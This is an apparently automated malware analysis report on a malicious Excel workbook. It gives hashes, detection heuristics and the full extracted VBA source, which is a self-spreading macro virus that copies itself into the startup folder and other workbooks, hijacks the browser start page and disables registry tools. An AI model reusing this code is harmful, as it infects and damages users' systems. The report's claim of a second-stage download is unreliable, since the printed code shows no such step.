Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 58c92016536e834a…

MALICIOUS

Office (OOXML)

177.5 KB Created: 2019-11-05 03:24:00 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-09-17
MD5: 5e1dd085cfea84c4e9ca8bc073a7cf40 SHA-1: 5bd072e538ca34e90d2e46296fbef292dfa92522 SHA-256: 58c92016536e834a77d2d5ce5e5776a0af78bb207ee19a7a27883f67c554acd5
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

This Excel document contains VBA macros, including an Auto_Open macro, which is designed to execute automatically upon opening. The macros utilize WScript.Shell and CreateObject to likely download and execute a second-stage payload, evidenced by the Shell() call and the creation of a file named KING.XLS in the startup path. The document body contains financial data, suggesting a lure for a targeted attack.

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Hidden worksheet (veryHidden, hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://3azu.taobao.com In document text (OOXML body / shared strings)

Related samples 1

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5487 bytes
SHA-256: 9604e46cfbde3a5c5b6b3b0002b1ff957eedc2f0937cedd784d00b334cd52c38
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "KING"




Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
Attribute ck_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "KING.XLS") 'results
    If m$ = "KING.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.name
    Sheets("KING").Visible = True
    Sheets("KING").Select
    Sheets("KING").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
  Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "KING.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("KING").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "KING.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).name
    If s$ <> "KING" Then
        Workbooks("KING.XLS").Sheets("KING").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("KING").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "KING.XLS!ck_files"
    Case Else
End Select
Dim OperationRegistry
On Error Resume Next

Set OperationRegistry = CreateObject("WScript.Shell")
MyUrl = "http://3azu.taobao.com"
RegPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\Start Page"
OperationRegistry.RegWrite RegPath, MyUrl
RegPath = "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
OperationRegistry.RegWrite RegPath, MyUrl

RegPath = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"
OperationRegistry.RegWrite RegPath, "1", "REG_DWORD"

Exit Sub   '正常运行的话会在这里退出程序

End Sub




Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet5"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attrib
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 38912 bytes
SHA-256: c95e0ee9087c195e67b86e4b19c15731c574c9b6e0a36226c51aff95c19668ab

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